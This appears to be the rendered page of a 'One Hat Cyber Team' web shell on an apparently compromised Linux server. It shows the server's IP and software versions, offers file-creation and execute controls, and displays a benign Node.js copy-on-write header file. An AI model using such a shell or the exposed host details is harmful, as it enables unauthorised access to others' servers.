⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
nodejs
/
src
/
View File Name :
node_threadsafe_cow-inl.h
#ifndef SRC_NODE_THREADSAFE_COW_INL_H_ #define SRC_NODE_THREADSAFE_COW_INL_H_ #if defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS namespace node { template <typename T> T* CopyOnWrite<T>::write() { if (data_.use_count() > 1l) { data_ = std::make_shared<T>(*data_); } return data_.get(); } template <typename T> ThreadsafeCopyOnWrite<T>::Read::Read(const ThreadsafeCopyOnWrite<T>* cow) : cow_(cow), lock_(cow->impl_->mutex) {} template <typename T> const T& ThreadsafeCopyOnWrite<T>::Read::operator*() const { return cow_->impl_->data; } template <typename T> const T* ThreadsafeCopyOnWrite<T>::Read::operator->() const { return &cow_->impl_->data; } template <typename T> ThreadsafeCopyOnWrite<T>::Write::Write(ThreadsafeCopyOnWrite<T>* cow) : cow_(cow), impl_(cow->impl_.write()), lock_(impl_->mutex) {} template <typename T> T& ThreadsafeCopyOnWrite<T>::Write::operator*() { return impl_->data; } template <typename T> T* ThreadsafeCopyOnWrite<T>::Write::operator->() { return &impl_->data; } template <typename T> ThreadsafeCopyOnWrite<T>::Impl::Impl(const Impl& other) { RwLock::ScopedReadLock lock(other.mutex); data = other.data; } } // namespace node #endif // defined(NODE_WANT_INTERNALS) && NODE_WANT_INTERNALS #endif // SRC_NODE_THREADSAFE_COW_INL_H_